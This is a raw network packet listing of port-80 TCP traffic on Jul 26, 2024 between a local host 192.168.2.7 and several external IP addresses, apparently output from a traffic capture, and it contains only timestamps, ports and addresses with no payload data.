Jul 26, 2024 08:58:07.772080898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.773782969 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.774899006 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.775754929 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.840647936 CEST	49813	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:07.840923071 CEST	49815	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:07.869977951 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.870815039 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.872946024 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.872961998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.872975111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.874150991 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.875945091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.875966072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.877106905 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.879036903 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.879863977 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.890305996 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.890430927 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.891243935 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.891259909 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.891745090 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.893583059 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.893598080 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.893606901 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.894279003 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.897517920 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.897531986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.897624969 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.898227930 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.898241043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.899473906 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.900568008 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.900579929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.900684118 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.902888060 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.902899981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.902909994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.903253078 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.905136108 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.905148983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.905200958 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.907043934 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.907109022 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.908016920 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.908030033 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.908073902 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.909931898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.909945011 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.909987926 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.911874056 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.911887884 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.911897898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.912508965 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.913764000 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.913775921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.914350986 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.915627003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.915638924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.915674925 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.917522907 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.917536020 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.917859077 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.919262886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.919275999 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.919327021 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.921056986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.921070099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.921081066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.921130896 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.922806025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.922818899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.922864914 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.924602032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.924613953 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.925998926 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.926331997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.926343918 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.926388025 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.927911997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.927925110 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.927933931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.928406000 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.929574013 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.929585934 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.929936886 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.931086063 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.931098938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.931454897 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.932517052 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.932529926 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.932578087 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.933969975 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.933983088 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.933993101 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.934542894 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.935415983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.935429096 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.935434103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.936151981 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.936865091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.936877012 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.937319040 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.938241959 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.938256979 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.938299894 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.939568043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.939582109 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.939623117 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.940851927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.940865040 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.940876007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.940903902 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.940929890 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.942117929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.942131996 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.942377090 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.953063011 CEST	80	49813	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:07.953074932 CEST	80	49815	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:07.956648111 CEST	49813	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:07.956717014 CEST	49815	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:07.957813978 CEST	49815	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:07.957988024 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.957999945 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.958051920 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.958925962 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.958940029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.958986998 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.959847927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.959861994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.959872007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.961050987 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.961637974 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.961651087 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.961659908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.962502956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.962515116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.963393927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.963408947 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.963418961 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.963903904 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.964200020 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.964211941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.964641094 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.965039015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.965053082 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.965100050 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.965987921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.966295958 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.966309071 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967216969 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.967231035 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967245102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967255116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967397928 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.967808008 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967819929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.967931032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.968563080 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.968575954 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.968612909 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.969352007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.969364882 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.969393969 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.969424009 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.970103025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.970118046 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.970149994 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.970822096 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.970834970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.974813938 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.974874020 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.976063967 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.976779938 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.976963043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.977011919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.977029085 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.977984905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.977998018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.978008986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.978020906 CEST	80	49814	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:07.978032112 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.978949070 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.978961945 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.978972912 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.979963064 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.979978085 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.979988098 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.980000973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.980710030 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.980722904 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.980736017 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.981573105 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.981585026 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.981596947 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.982522011 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.982534885 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.982547045 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.982558966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.983205080 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.983221054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.983232021 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984011889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984025002 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984035015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984832048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984844923 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984854937 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.984864950 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.985563993 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.985598087 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.985608101 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.986341953 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.986357927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.986367941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987104893 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987118959 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987128973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987139940 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987880945 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987894058 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987905025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.987910986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.988284111 CEST	49814	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:07.988285065 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.988882065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.988895893 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.988907099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.988919020 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.988931894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.989850044 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.989862919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.989875078 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.989886999 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.990806103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.990819931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.990830898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.990842104 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.990853071 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.991450071 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:07.991746902 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.991760015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.991770983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.991785049 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992589951 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992861986 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992873907 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992885113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992897987 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.992908955 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.993736029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.994626045 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.994638920 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.994649887 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.994662046 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.995429039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.995441914 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.995451927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.995464087 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.995850086 CEST	49814	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:07.997908115 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.997921944 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.997931957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.997951984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.997963905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998663902 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998676062 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998687029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998698950 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998708963 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.998719931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999636889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999650955 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999660969 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999675989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999686956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:07.999696970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.000689030 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.000700951 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.000711918 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.000722885 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.000732899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001482964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001496077 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001506090 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001791000 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.001883030 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001894951 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.001905918 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.002847910 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.002899885 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.002935886 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003071070 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003262043 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003356934 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003432989 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003456116 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003518105 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003519058 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003705025 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.003760099 CEST	80	49815	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:08.008014917 CEST	80	49814	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:08.009675980 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.009687901 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.009699106 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.009710073 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.009723902 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.009957075 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.010504961 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.010518074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.014945030 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.020139933 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020153046 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020165920 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020497084 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020509005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020519972 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020530939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020531893 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.020543098 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020555973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020565987 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.020664930 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.021420002 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021439075 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021446943 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021450043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021451950 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021460056 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021466970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021480083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021492004 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.021883011 CEST	49807	80	192.168.2.7	185.215.113.16
